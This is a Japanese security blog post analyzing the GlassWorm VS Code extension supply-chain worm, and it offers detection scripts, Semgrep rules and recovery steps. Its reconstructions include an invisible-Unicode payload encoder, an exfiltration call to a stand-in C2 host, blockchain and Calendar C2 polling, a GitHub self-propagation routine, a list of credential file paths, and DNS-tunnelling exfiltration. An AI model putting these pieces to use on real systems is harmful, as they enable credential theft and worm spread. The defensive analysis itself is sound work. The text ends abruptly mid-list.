LabHub

ブログ

GlassWorm サプライチェーン攻撃分析:VS Code拡張機能の見えない脅威と開発環境セキュリティ戦略

한국어English日本語

GlassWorm VS Code Supply Chain Attack

はじめに

2026年3月、セキュリティコミュニティを揺るがす事件が発生した。GlassWormと名付けられたマルウェアが72以上のOpen VSX拡張機能を感染させ、151のGitHubリポジトリへ自己伝播しながら開発者の認証情報を大規模に窃取したのだ(The Hacker News, March 2026)。従来のサプライチェーン攻撃が難読化(obfuscation)やタイポスクワッティング(typosquatting)に依存していたのに対し、GlassWormはUnicode変異セレクタ(Unicode Variation Selectors)とPUA(Private Use Area)文字を活用し、悪意あるコードを文字どおり「見えなく」する前例のない手法を披露した。

加えて、C2(Command and Control)チャネルとしてSolanaブロックチェーンGoogle Calendarを活用する二重チャネル戦略は、既存のネットワークベースの検出システムを効果的に回避する新しい攻撃パラダイムを提示した。SecurityWeekの分析によれば、この攻撃は「VS Code拡張機能エコシステムのセキュリティモデルが根本的に再設計されるべきであることを示す転換点」と評価された。

本記事ではGlassWorm攻撃の技術的メカニズムをコードレベルで分析し、検出および防御の戦略を実践的なコードとともに提示しながら、組織レベルで開発環境のセキュリティを強化するための総合戦略を扱う。


GlassWorm攻撃のタイムライン

GlassWorm攻撃は単一のイベントではなく、数か月にわたって精緻に準備されたキャンペーンである。Veracodeの分析レポートをもとに攻撃のタイムラインを再構成する。

時点イベント影響範囲
2025年11月攻撃者がOpen VSXに正常な拡張機能の登録を開始初期の信頼構築
2025年12月Unicode隠蔽手法を適用した最初の悪性アップデートを配布12個の拡張機能が感染
2026年1月Solana C2チャネルを有効化、認証情報の収集を開始30個の拡張機能、数千人に影響
2026年2月自己伝播メカニズムを有効化、GitHubリポジトリが感染72個の拡張機能、151個のリポジトリ
2026年3月初旬セキュリティ研究者が異常なトラフィックパターンを検知、初報告コミュニティに警報発令
2026年3月中旬Open VSXの緊急監査、感染した拡張機能を一括削除復旧作業が進行中

攻撃規模のまとめ


技術的分析: Unicodeベースのコード隠蔽

GlassWormの最も革新的な(そして危険な)側面は、Unicode文字を用いたコード隠蔽手法である。DarkReadingの報道によれば、この手法は既存のどの難読化手法よりも検出が難しい。

Unicode変異セレクタ(Variation Selectors)とは

Unicode変異セレクタは、U+FE00からU+FE0Fまでの16文字と、U+E0100からU+E01EFまでの240個の補助変異セレクタで構成される。これらの文字は直前に来る基底文字の表現形を指定するが、単独では画面にまったく表示されない。

// Unicode変異セレクタの基本原理
// U+FE00 ~ U+FE0F: Variation Selectors (16文字)
// U+E0100 ~ U+E01EF: Supplementary Variation Selectors (240文字)

// 例: 同じ漢字の異なる表現
const char1 = '\u8FD1\uFE00' // 近 + VS1 (日本式)
const char2 = '\u8FD1\uFE01' // 近 + VS2 (中国式)

// 2つの文字は視覚的に異なりうるが、
// VS自体はレンダリングされないゼロ幅文字である
console.log('\uFE00'.length) // 1 (文字は存在するが見えない)

GlassWormの隠蔽エンコーディングメカニズム

GlassWormは悪意あるJavaScriptペイロードを、Unicode変異セレクタとPUA文字の組み合わせでエンコードする。核心となる原理は次のとおりである。

// GlassWormのエンコード方式の再現 (セキュリティ研究目的)
// 元の悪性コードの各バイトを不可視のUnicode文字へ変換する

function encodeToInvisible(payload) {
  const encoded = []
  for (let i = 0; i < payload.length; i++) {
    const byte = payload.charCodeAt(i)
    // 上位4ビット -> Variation Selector (U+FE00 + nibble)
    const highNibble = (byte >> 4) & 0x0f
    encoded.push(String.fromCharCode(0xfe00 + highNibble))
    // 下位4ビット -> PUA文字 (U+E0100 + nibble)
    const lowNibble = byte & 0x0f
    // 補助文字はサロゲートペアでエンコードする
    encoded.push(String.fromCodePoint(0xe0100 + lowNibble))
  }
  return encoded.join('')
}

function decodeFromInvisible(invisible) {
  const decoded = []
  let i = 0
  while (i < invisible.length) {
    const highChar = invisible.codePointAt(i)
    i += highChar > 0xffff ? 2 : 1
    const lowChar = invisible.codePointAt(i)
    i += lowChar > 0xffff ? 2 : 1
    const highNibble = (highChar - 0xfe00) & 0x0f
    const lowNibble = (lowChar - 0xe0100) & 0x0f
    decoded.push(String.fromCharCode((highNibble << 4) | lowNibble))
  }
  return decoded.join('')
}

// 使用例
const maliciousCode = 'fetch("https://c2.example.com/exfil",{method:"POST"})'
const invisible = encodeToInvisible(maliciousCode)
console.log(invisible.length) // 長さはあるが...
console.log(invisible.trim()) // 画面には何も見えない

実際に感染したファイルの構造

感染したVS Code拡張機能のextension.jsファイルは、見た目には完全に正常に見える。Snykの分析によれば、コードレビューでも悪意あるコードを発見するのは極めて難しい。

// 感染したextension.jsの構造 (簡略化)
const vscode = require('vscode')

function activate(context) {
  // 正常な拡張機能のコード
  let disposable = vscode.commands.registerCommand('myext.helloWorld', function () {
    vscode.window.showInformationMessage('Hello World!')
  })
  context.subscriptions.push(disposable)

  // 以下の空行のあいだに、不可視のUnicode文字で
  // エンコードされた悪性ペイロードが隠されている
  // (エディタでは空白に見える)
  const _ = '\u200B' // ZWSアンカー文字の後ろに数百個のVS/PUA文字列が続く

  // デコーダ: 正常なユーティリティ関数に偽装
  function normalizeText(input) {
    // 実際には隠されたペイロードをデコードして実行する
    const chars = Array.from(input)
    const filtered = chars.filter((c) => c.codePointAt(0) >= 0xfe00)
    // ... デコードおよびevalの実行
  }
}

function deactivate() {}

module.exports = { activate, deactivate }

なぜ既存のツールでは検出が難しいのか

GlassWormのUnicode隠蔽手法が既存のセキュリティツールを回避する理由は、コードで確認できる。

# 既存の静的解析ツールの限界のデモ
import re

# 一般的な悪性コード検出パターン
suspicious_patterns = [
    r'eval\s*\(',
    r'Function\s*\(',
    r'require\s*\(\s*["\']child_process["\']\s*\)',
    r'exec\s*\(',
    r'fetch\s*\(\s*["\']https?://',
]

# 感染したファイルの内容 (Unicode隠蔽を適用)
infected_content = '''
const vscode = require('vscode');
function activate(context) {
  let disposable = vscode.commands.registerCommand('myext.hello', function() {
    vscode.window.showInformationMessage('Hello!');
  });
  context.subscriptions.push(disposable);
}
module.exports = { activate };
'''
# 注意: 実際の感染ファイルでは、上のコードの合間に
# 数百個の不可視Unicode文字が挿入されている

for pattern in suspicious_patterns:
    match = re.search(pattern, infected_content)
    print(f"Pattern '{pattern}': {'DETECTED' if match else 'CLEAN'}")
    # すべてのパターンでCLEANと判定される
    # 悪性コードがUnicodeでエンコードされており正規表現に引っかからない

C2チャネル: ブロックチェーンとクラウドサービスの悪用

GlassWormの2つ目の革新は、C2(Command and Control)チャネルの設計にある。従来のドメインベースのC2ではなく、ブロックチェーン合法的なクラウドサービスを二重チャネルとして活用する。

Solanaブロックチェーンを使ったC2

Fluid Attacksの技術ブログによれば、GlassWormはSolanaブロックチェーンのトランザクションのmemoフィールドにC2コマンドをエンコードして伝達する。

// Solanaブロックチェーンを使ったC2チャネルのメカニズム (分析用の再現)
// 攻撃者はSolanaトランザクションのmemoフィールドにコマンドをエンコードする

// ステップ1: 攻撃者がSolanaに命令トランザクションを発行
// memoフィールド: base64エンコードされたJSONコマンド
// 例: eyJjbWQiOiJleGZpbCIsInRhcmdldCI6Ii5zc2gifQ==
// デコード結果: {"cmd":"exfil","target":".ssh"}

// ステップ2: 感染した拡張機能がSolana RPCでトランザクションを照会
async function fetchC2Commands(walletAddress) {
  const response = await fetch('https://api.mainnet-beta.solana.com', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      jsonrpc: '2.0',
      id: 1,
      method: 'getSignaturesForAddress',
      params: [walletAddress, { limit: 10 }],
    }),
  })

  const data = await response.json()
  // トランザクションからmemoフィールドを抽出してデコードする
  return data.result.map((tx) => decodeCommand(tx.memo))
}

// ステップ3: コマンドの実行
function executeCommand(cmd) {
  switch (cmd.type) {
    case 'exfil':
      // 認証情報の収集と送信
      exfiltrateCredentials(cmd.target)
      break
    case 'proxy':
      // SOCKSプロキシを有効化
      startSocksProxy(cmd.port)
      break
    case 'spread':
      // 自己伝播を実行
      propagateToRepos(cmd.scope)
      break
  }
}

なぜブロックチェーンC2が危険なのか

特性従来型C2(ドメインベース)ブロックチェーンC2(Solana)
テイクダウンドメインの押収/遮断が可能不可能(非中央集権)
トラフィック分類疑わしいドメインとして検出正常なブロックチェーンAPIトラフィック
可用性単一障害点が存在99.99%の可用性
匿名性WHOISで追跡可能ウォレットアドレスのみ露出
コストサーバー運用コストトランザクションあたり約0.00025 SOL
遮断の難易度ファイアウォールルールで遮断すべてのSolana RPCの遮断が必要
ログの残存サーバーログを削除可能ブロックチェーンに永久記録

Google CalendarによるC2バックアップチャネル

ブロックチェーンへのアクセスが遮断された場合に備えたバックアップC2チャネルとして、Google Calendar APIを活用する。

// Google CalendarによるC2バックアップチャネルのメカニズム
// 攻撃者が共有カレンダーのイベント説明にコマンドを埋め込む

async function fetchCalendarCommands(calendarId, apiKey) {
  const now = new Date().toISOString()
  const url =
    `https://www.googleapis.com/calendar/v3/calendars/` +
    `${encodeURIComponent(calendarId)}/events` +
    `?key=${apiKey}` +
    `&timeMin=${now}` +
    `&maxResults=5` +
    `&orderBy=startTime` +
    `&singleEvents=true`

  const response = await fetch(url)
  const data = await response.json()

  return data.items
    .filter((event) => event.description)
    .map((event) => {
      // イベント説明からbase64エンコードされたコマンドを抽出
      const match = event.description.match(/\[config:([A-Za-z0-9+/=]+)\]/)
      if (match) {
        return JSON.parse(atob(match[1]))
      }
      return null
    })
    .filter(Boolean)
}

この方式の巧妙さは、Google Calendar APIのトラフィックが大半の企業ネットワークで許可リスト(allowlist)に含まれている点にある。ファイアウォールやプロキシでgoogleapis.comへのトラフィックを遮断すると正常なGoogle Workspaceの利用にも影響が及ぶため、セキュリティチームが簡単に遮断するのは難しい。


自己伝播メカニズム

Veracodeのレポートが「最初の自己伝播型VS Code拡張機能ワーム」と名付けたGlassWormの伝播メカニズムを分析する。

GitHubリポジトリの感染フロー

[感染した開発者環境]
        |
        v
[1. GitHub Tokenを窃取]
        |
        v
[2. 開発者のリポジトリ一覧を照会]
        |
        v
[3. 各リポジトリのpackage.json / .vscode/extensions.jsonを改変]
        |
        v
[4. 悪性拡張機能の依存を追加するコミット]
        |
        v
[5. 他の開発者がリポジトリをクローンすると感染拡張機能の自動インストールを推奨]
        |
        v
[6. 新しい開発者環境が感染 -> ステップ1へ繰り返し]

伝播コードの分析

// 自己伝播メカニズム (分析用に簡略化)
async function propagate(githubToken) {
  const headers = {
    Authorization: `token ${githubToken}`,
    Accept: 'application/vnd.github.v3+json',
  }

  // 1. ユーザーのすべてのリポジトリを照会
  const repos = await fetch('https://api.github.com/user/repos?per_page=100', {
    headers,
  }).then((r) => r.json())

  for (const repo of repos) {
    // 2. .vscode/extensions.jsonを確認、なければ作成
    try {
      const extensionsFile = await fetch(
        `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
        { headers }
      ).then((r) => r.json())

      const content = JSON.parse(Buffer.from(extensionsFile.content, 'base64').toString())

      // 3. 悪性拡張機能がすでに含まれているかを確認
      const maliciousExtId = 'publisher.innocent-looking-extension'
      if (content.recommendations && !content.recommendations.includes(maliciousExtId)) {
        content.recommendations.push(maliciousExtId)

        // 4. 変更したファイルをコミット
        await fetch(
          `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
          {
            method: 'PUT',
            headers,
            body: JSON.stringify({
              message: 'chore: update recommended extensions',
              content: Buffer.from(JSON.stringify(content, null, 2)).toString('base64'),
              sha: extensionsFile.sha,
            }),
          }
        )
      }
    } catch (e) {
      // ファイルが存在しなければ新規に作成する
      // ...
    }
  }
}

伝播の速度と範囲

DarkReadingの報道によれば、GlassWormの自己伝播は指数関数的な成長パターンを示した。

感染した開発者はそれぞれ平均3~5個のリポジトリを保有していたため、リポジトリの感染はさらに速く進んだ。特にオープンソースプロジェクトでは多数のコントリビュータがリポジトリをクローンするため、感染速度はクローズドなリポジトリより約4倍速いと分析された。


VS Code拡張機能マーケットプレイスのセキュリティモデルの限界

現在のセキュリティモデルの構造的な問題

VS Code拡張機能マーケットプレイス(Visual Studio MarketplaceおよびOpen VSX)のセキュリティモデルは、次のような構造的限界を抱えている。

セキュリティ観点現状問題点
公開者の検証メール認証のみ必要身元確認がなく、誰でも公開可能
コードレビュー自動化された静的解析が不十分Unicode隠蔽など新しい手法を検出できない
権限モデルインストール時にすべての権限を付与最小権限の原則が未適用
アップデート検証自動アップデート、追加検証なし正常な拡張機能の悪性アップデートを遮断できない
署名体系任意の署名強制署名がなく完全性を保証できない
SBOM未提供拡張機能の依存関係の透明性が不足

npmエコシステムとの比較

# npmは2022年からmandatory 2FAとprovenance attestationを導入
# VS Codeマーケットプレイスはまだこれに準じるセキュリティ体系が未整備

# npm provenanceの確認例
npm audit signatures
# 出力: audited 150 packages in 2s
# 150 packages have verified registry signatures

# VS Code拡張機能にはこれに該当するコマンドがない
# 拡張機能の完全性を検証できる公式ツールが存在しない

権限モデルの不在

VS Code拡張機能は、インストールした瞬間にホストシステムへの広範なアクセス権限を得る。ブラウザ拡張機能がpermissionsマニフェストを通じて権限を宣言し、ユーザーの同意を得るのとは対照的である。

// ブラウザ拡張機能の権限宣言 (Chrome Extension Manifest V3)
{
  "permissions": ["activeTab", "storage"],
  "host_permissions": ["https://api.example.com/*"]
}

// VS Code拡張機能にはこうした細分化された権限モデルがない
// package.jsonの"activationEvents"は機能的なトリガーにすぎず

// セキュリティ境界(security boundary)を形成しない

検出と防御の戦略

1. Unicode異常検出スクリプト

GlassWormの中核であるUnicode隠蔽を検出するためのスクリプトを書くことができる。

#!/usr/bin/env python3
"""
GlassWorm Unicode隠蔽検出スクリプト
不可視Unicode文字の異常な集中を検出する。
"""
import os
import sys
from pathlib import Path
from collections import Counter

# 疑わしいUnicodeの範囲
SUSPICIOUS_RANGES = [
    (0xFE00, 0xFE0F, "Variation Selectors"),
    (0xE0100, 0xE01EF, "Supplementary Variation Selectors"),
    (0xE000, 0xF8FF, "Private Use Area"),
    (0xF0000, 0xFFFFF, "Supplementary PUA-A"),
    (0x100000, 0x10FFFD, "Supplementary PUA-B"),
    (0x200B, 0x200F, "Zero-Width Characters"),
    (0x2028, 0x202F, "General Punctuation (invisible)"),
    (0x2060, 0x206F, "Invisible Formatting"),
    (0xFEFF, 0xFEFF, "BOM / Zero-Width No-Break Space"),
]

def scan_file(filepath):
    """ファイルから疑わしいUnicode文字をスキャンする。"""
    findings = []
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            content = f.read()
    except (UnicodeDecodeError, PermissionError):
        return findings

    suspicious_count = Counter()
    line_findings = {}

    for line_num, line in enumerate(content.split('\n'), 1):
        for char in line:
            cp = ord(char)
            for start, end, name in SUSPICIOUS_RANGES:
                if start <= cp <= end:
                    suspicious_count[name] += 1
                    if line_num not in line_findings:
                        line_findings[line_num] = []
                    line_findings[line_num].append(
                        f"U+{cp:04X} ({name})"
                    )

    # しきい値: ファイルサイズに対する不可視文字の比率
    total_suspicious = sum(suspicious_count.values())
    if total_suspicious > 10:  # 既定のしきい値
        ratio = total_suspicious / max(len(content), 1)
        severity = "CRITICAL" if ratio > 0.01 else "WARNING"
        findings.append({
            'file': str(filepath),
            'severity': severity,
            'total_suspicious': total_suspicious,
            'ratio': f"{ratio:.4%}",
            'breakdown': dict(suspicious_count),
            'affected_lines': dict(
                list(line_findings.items())[:10]
            ),
        })

    return findings

def scan_directory(directory, extensions=None):
    """ディレクトリを再帰的にスキャンする。"""
    if extensions is None:
        extensions = {'.js', '.ts', '.json', '.mjs', '.cjs'}

    all_findings = []
    path = Path(directory)

    for filepath in path.rglob('*'):
        if filepath.suffix in extensions and filepath.is_file():
            findings = scan_file(filepath)
            all_findings.extend(findings)

    return all_findings

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else '.'
    findings = scan_directory(target)

    if findings:
        print(f"\n[ALERT] {len(findings)} suspicious file(s) found:\n")
        for f in findings:
            print(f"  [{f['severity']}] {f['file']}")
            print(f"    Suspicious chars: {f['total_suspicious']}")
            print(f"    Ratio: {f['ratio']}")
            print(f"    Breakdown: {f['breakdown']}")
            print()
    else:
        print("[OK] No suspicious Unicode patterns detected.")

2. Git pre-commitフックによる自動検査

#!/bin/bash
# .git/hooks/pre-commit
# コミット前にUnicode隠蔽文字を自動で検査する

echo "Scanning for suspicious Unicode characters..."

# ステージングされたファイルの一覧
FILES=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|json|mjs|cjs)$')

if [ -z "$FILES" ]; then
  exit 0
fi

FOUND=0

for FILE in $FILES; do
  # Variation Selectorsの検査 (U+FE00-FE0F)
  if perl -ne 'print if /[\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]/' "$FILE" | grep -q .; then
    echo "[BLOCKED] Suspicious Variation Selectors found in: $FILE"
    FOUND=1
  fi

  # PUA文字の検査 (U+E000-F8FF)
  if perl -ne 'print if /[\x{E000}-\x{F8FF}]/' "$FILE" | grep -q .; then
    echo "[WARNING] Private Use Area characters found in: $FILE"
    # PUAには一部正常な用途があるため警告のみ
  fi

  # Zero-width文字の過剰使用の検査
  ZW_COUNT=$(perl -ne 'print while /[\x{200B}-\x{200F}\x{2060}-\x{206F}\x{FEFF}]/g' "$FILE" | wc -c)
  if [ "$ZW_COUNT" -gt 20 ]; then
    echo "[BLOCKED] Excessive zero-width characters ($ZW_COUNT) in: $FILE"
    FOUND=1
  fi
done

if [ "$FOUND" -eq 1 ]; then
  echo ""
  echo "Commit blocked: Suspicious Unicode patterns detected."
  echo "If these are intentional, use --no-verify to bypass."
  exit 1
fi

echo "Unicode scan passed."
exit 0

3. VS Codeの設定に基づく防御

// .vscode/settings.json - チーム単位のセキュリティ設定
{
  // 拡張機能の自動アップデートを無効化
  "extensions.autoUpdate": false,

  // 拡張機能のインストール時に確認を要求
  "extensions.autoCheckUpdates": true,

  // 不可視Unicode文字の可視化
  "editor.unicodeHighlight.ambiguousCharacters": true,
  "editor.unicodeHighlight.invisibleCharacters": true,
  "editor.unicodeHighlight.nonBasicASCII": true,

  // Unicode文字の許容範囲を制限
  "editor.unicodeHighlight.allowedLocales": {
    "ko": true,
    "ja": true
  },

  // ターミナルでのUnicode警告
  "terminal.integrated.unicodeVersion": "11",

  // ワークスペース信頼の設定
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always",
  "security.workspace.trust.untrustedFiles": "prompt"
}

4. CI/CDパイプラインへの検査の統合

# .github/workflows/unicode-security-scan.yml
name: Unicode Security Scan

on:
  pull_request:
    paths:
      - '**.js'
      - '**.ts'
      - '**.json'
      - '**.mjs'
  push:
    branches: [main, develop]

jobs:
  unicode-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install scanner dependencies
        run: pip install unicode-security-scanner

      - name: Scan for invisible Unicode characters
        run: |
          python scripts/unicode_scanner.py . \
            --extensions .js,.ts,.json,.mjs,.cjs \
            --threshold 10 \
            --severity critical \
            --output report.json

      - name: Check scan results
        run: |
          if [ -f report.json ]; then
            CRITICAL=$(python -c "
          import json
          with open('report.json') as f:
              data = json.load(f)
          print(sum(1 for r in data if r['severity'] == 'CRITICAL'))
          ")
            if [ "$CRITICAL" -gt 0 ]; then
              echo "CRITICAL: Found $CRITICAL files with suspicious Unicode"
              exit 1
            fi
          fi

      - name: Upload scan report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: unicode-scan-report
          path: report.json

VS Code拡張機能セキュリティ検証ツールの比較

さまざまなVS Code拡張機能セキュリティツールを比較し、組織に適したツールを選べるようにする。

ツール種別Unicode検出挙動分析CI/CD統合リアルタイム監視ライセンス
ExtensionTotalオンラインスキャナ部分対応静的解析REST API非対応無料
Snyk CodeSAST対応静的+パターンネイティブ対応商用 (無料ティア)
SemgrepSASTカスタムルール静的解析ネイティブ非対応OSS + 商用
GuardDogパッケージスキャナ対応インストールスクリプトCLI非対応OSS (Apache-2.0)
Socket.devサプライチェーン分析対応挙動分析GitHub App対応商用 (無料ティア)
カスタムスクリプト社内ツール完全に制御可能実装が必要実装が必要実装が必要N/A

Semgrepを活用したカスタム検出ルール

# .semgrep/glassworm-detection.yml
rules:
  - id: suspicious-unicode-variation-selectors
    patterns:
      - pattern-regex: '[\uFE00-\uFE0F]'
    message: >
      Detected Unicode Variation Selector characters that may indicate
      GlassWorm-style code obfuscation. Review this file carefully.
    severity: ERROR
    languages: [javascript, typescript]
    metadata:
      category: security
      technology: [vscode-extension]
      cwe: 'CWE-506: Embedded Malicious Code'
      references:
        - https://owasp.org/www-community/attacks/Supply_Chain_Attack

  - id: suspicious-unicode-pua
    patterns:
      - pattern-regex: '[\uE000-\uF8FF]'
    message: >
      Detected Private Use Area Unicode characters. These are rarely
      used in legitimate code and may indicate obfuscation.
    severity: WARNING
    languages: [javascript, typescript]

  - id: suspicious-eval-from-string-manipulation
    patterns:
      - pattern: |
          $FUNC = $STR.split(...).map(...).join(...)
          ...
          eval($FUNC)
    message: >
      Detected eval() called on string manipulation result.
      This pattern is commonly used to execute obfuscated code.
    severity: ERROR
    languages: [javascript, typescript]

  - id: solana-rpc-call-in-extension
    patterns:
      - pattern: |
          fetch("=~/.*solana.*mainnet.*/", ...)
    message: >
      Detected Solana blockchain RPC call. VS Code extensions
      should not normally interact with blockchain networks.
    severity: ERROR
    languages: [javascript, typescript]

  - id: credential-file-access
    patterns:
      - pattern: |
          $FS.readFileSync("=~/.*\.(ssh|aws|gcp|npmrc).*/", ...)
    message: >
      Detected access to credential files. This is a common
      exfiltration technique in supply chain attacks.
    severity: ERROR
    languages: [javascript, typescript]

認証情報の窃取メカニズムの詳細分析

GlassWormが窃取する認証情報の種類と、その収集経路を詳しく分析する。

窃取対象の一覧

// GlassWormが探索する認証情報のパス (分析結果)
const TARGET_CREDENTIALS = [
  // Git関連
  { path: '~/.gitconfig', type: 'git-config' },
  { path: '~/.git-credentials', type: 'git-credentials' },

  // SSH
  { path: '~/.ssh/id_rsa', type: 'ssh-private-key' },
  { path: '~/.ssh/id_ed25519', type: 'ssh-private-key' },
  { path: '~/.ssh/config', type: 'ssh-config' },

  // AWS
  { path: '~/.aws/credentials', type: 'aws-credentials' },
  { path: '~/.aws/config', type: 'aws-config' },

  // GCP
  {
    path: '~/.config/gcloud/application_default_credentials.json',
    type: 'gcp-credentials',
  },

  // Azure
  { path: '~/.azure/accessTokens.json', type: 'azure-tokens' },

  // npm
  { path: '~/.npmrc', type: 'npm-token' },

  // Docker
  { path: '~/.docker/config.json', type: 'docker-credentials' },

  // Kubernetes
  { path: '~/.kube/config', type: 'kubeconfig' },

  // VS Code自体
  {
    path: '~/.vscode/extensions/*/credentials.json',
    type: 'vscode-extension-creds',
  },
]

窃取データの送信方式

// データ送信は複数のチャネルに分散して行う
// DNSトンネリングによる少量データの流出
async function exfilViaDNS(data, domain) {
  const chunks = chunkData(data, 63) // DNSラベルの最大長
  for (const chunk of chunks) {
    // DNSクエリを装ったデータ送信
    // chunk.encoded-data.c2domain.com
    try {
      await fetch(`https://dns.google/resolve?name=${chunk}.${domain}&type=TXT`)
    } catch (e) {
      // 失敗しても静かに無視する
    }
    // 検出回避のためのランダムな遅延
    await sleep(Math.random() * 5000 + 1000)
  }
}

感染の確認と復旧手順

ステップ1: 感染の有無を確認する

#!/bin/bash
# glassworm-check.sh - GlassWormの感染有無を確認するスクリプト

echo "=== GlassWorm Infection Check ==="
echo ""

# 1. インストール済みのVS Code拡張機能の一覧を確認
echo "[1/5] Checking installed extensions..."
EXTENSIONS=$(code --list-extensions --show-versions 2>/dev/null)
if [ -z "$EXTENSIONS" ]; then
  echo "  VS Code CLI not available. Check manually."
else
  # 既知の感染拡張機能の一覧 (例)
  KNOWN_MALICIOUS=(
    "fake-publisher.theme-darkplus-enhanced"
    "fake-publisher.prettier-format-plus"
    "fake-publisher.eslint-advanced"
  )
  for ext in "${KNOWN_MALICIOUS[@]}"; do
    if echo "$EXTENSIONS" | grep -qi "$ext"; then
      echo "  [CRITICAL] Known malicious extension found: $ext"
    fi
  done
  echo "  Extension check complete."
fi

# 2. 最近変更された拡張機能ファイルを確認
echo ""
echo "[2/5] Checking recently modified extension files..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  find "$VSCODE_EXT_DIR" -name "*.js" -mtime -7 -type f | head -20
else
  echo "  Extension directory not found at $VSCODE_EXT_DIR"
fi

# 3. 異常なネットワーク接続を確認
echo ""
echo "[3/5] Checking suspicious network connections..."
if command -v lsof &> /dev/null; then
  lsof -i -P -n 2>/dev/null | grep -E "(solana|googleapis.*calendar)" | head -10
fi

# 4. Git設定の改ざんを確認
echo ""
echo "[4/5] Checking git configuration integrity..."
if [ -f "$HOME/.git-credentials" ]; then
  echo "  [WARNING] .git-credentials file exists - verify its contents"
  stat "$HOME/.git-credentials" | grep "Modify"
fi

# 5. SSH鍵への最近のアクセスを確認
echo ""
echo "[5/5] Checking SSH key access times..."
if [ -d "$HOME/.ssh" ]; then
  ls -la "$HOME/.ssh/" | grep -E "id_rsa|id_ed25519"
fi

echo ""
echo "=== Check Complete ==="
echo "If any CRITICAL findings, proceed to recovery steps immediately."

ステップ2: 緊急復旧の手順

#!/bin/bash
# glassworm-recovery.sh - 感染時の緊急復旧スクリプト

echo "=== GlassWorm Recovery Procedure ==="
echo "[WARNING] This will revoke credentials and reinstall VS Code."
echo ""
read -p "Continue? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
  echo "Aborted."
  exit 0
fi

# 1. GitHubトークンを直ちに失効させる
echo "[1/6] Revoking GitHub tokens..."
echo "  -> Go to https://github.com/settings/tokens and revoke ALL tokens"
echo "  -> Enable SSO re-authorization if applicable"
echo "  Press Enter when done..."
read

# 2. SSH鍵のローテーション
echo "[2/6] Rotating SSH keys..."
if [ -f "$HOME/.ssh/id_ed25519" ]; then
  mv "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ed25519.compromised.bak"
  mv "$HOME/.ssh/id_ed25519.pub" "$HOME/.ssh/id_ed25519.pub.compromised.bak"
fi
ssh-keygen -t ed25519 -C "recovery-$(date +%Y%m%d)" -f "$HOME/.ssh/id_ed25519"
echo "  -> Upload new public key to GitHub/GitLab"

# 3. AWSの資格情報のローテーション
echo "[3/6] Rotating AWS credentials..."
if command -v aws &> /dev/null; then
  echo "  Current identity:"
  aws sts get-caller-identity 2>/dev/null
  echo "  -> Rotate access keys via AWS IAM Console"
  echo "  -> Revoke all active sessions"
fi

# 4. VS Code拡張機能の整理
echo "[4/6] Cleaning VS Code extensions..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  echo "  Backing up extension list..."
  code --list-extensions > "$HOME/vscode-extensions-backup.txt" 2>/dev/null
  echo "  Removing all extensions..."
  rm -rf "$VSCODE_EXT_DIR"/*
  echo "  Reinstall trusted extensions from backup list manually."
fi

# 5. npmトークンのローテーション
echo "[5/6] Revoking npm tokens..."
if [ -f "$HOME/.npmrc" ]; then
  echo "  -> Run: npm token revoke <token>"
  echo "  -> Generate new token: npm token create"
fi

# 6. Gitリポジトリの監査
echo "[6/6] Auditing git repositories..."
echo "  Check recent commits in all repositories for unauthorized changes:"
echo "  Look for modifications to:"
echo "    - .vscode/extensions.json"
echo "    - package.json (new dependencies)"
echo "    - .github/workflows/ (new workflows)"

echo ""
echo "=== Recovery Complete ==="
echo "NEXT STEPS:"
echo "1. Enable 2FA on all accounts if not already enabled"
echo "2. Review GitHub audit log: https://github.com/settings/security-log"
echo "3. Report incident to your security team"
echo "4. Monitor accounts for suspicious activity for 30 days"

組織レベルの開発環境セキュリティチェックリスト

すぐに適用できる項目 (Quick Wins)

短期目標 (1~2週間)

中期目標 (1~3か月)

長期目標 (3~6か月)


失敗事例の分析

事例1: 自動アップデートによる大規模感染

あるスタートアップで開発チーム全体(約50人)がGlassWormに感染した事例である。原因はVS Codeの拡張機能の自動アップデート機能だった。正常に使っていたテーマ拡張機能がある日、悪性のアップデートを配布し、自動アップデートが有効なすべての開発端末に即座に適用された。

教訓: 拡張機能のアップデートは手動で行い、アップデート前にチェンジログとコードの変更点をレビューするプロセスが必要である。

// 予防のための設定
{
  "extensions.autoUpdate": false,
  "extensions.autoCheckUpdates": true
  // autoCheckUpdatesは通知のみで、自動インストールはしない
}

事例2: オープンソースのコントリビュータを通じたラテラルムーブメント

オープンソースプロジェクトのコントリビュータ1人が感染した後、そのプロジェクトの.vscode/extensions.jsonに悪性拡張機能が追加された事例である。コードレビュアーがこれを「開発環境設定のアップデート」とみなして承認したことが決定的なミスだった。

教訓: .vscode/ディレクトリの変更に対しても、セキュリティ観点のコードレビューが必要である。

# CODEOWNERSファイルで.vscode/パスに対するセキュリティレビュアーを指定
# .github/CODEOWNERS
.vscode/ @security-team
.github/workflows/ @security-team @devops-team
package.json @tech-lead @security-team

事例3: CI/CD環境への拡散

感染した開発者のGitHub TokenがCI/CDパイプラインのシークレットとしても使われていた事例である。攻撃者は窃取したトークンでGitHub Actionsのワークフローを改変し、ビルド過程で追加のマルウェアを注入した。

教訓: 個人トークンとCI/CDのシークレットを分離し、CI/CDには最小権限の専用サービスアカウントを使うべきである。

# 誤った例: 個人トークンをCI/CDで直接使用
# github-actions workflow内
# env:
#   GITHUB_TOKEN: 個人のPAT (危険!)

# 正しい例: 専用サービスアカウント + 最小権限
# 1. CI/CD専用のGitHub Appを作成
# 2. 必要最小限の権限のみ付与 (例: contents:read, packages:write)
# 3. トークンの自動更新を有効化

今後の展望と対応の方向性

VS Code拡張機能エコシステムのセキュリティ強化ロードマップ

MicrosoftはGlassWormの事件を契機として、次のようなセキュリティ強化を予告した。

  1. 公開者認証の強化: 組織認証(Organization Verification)の必須化
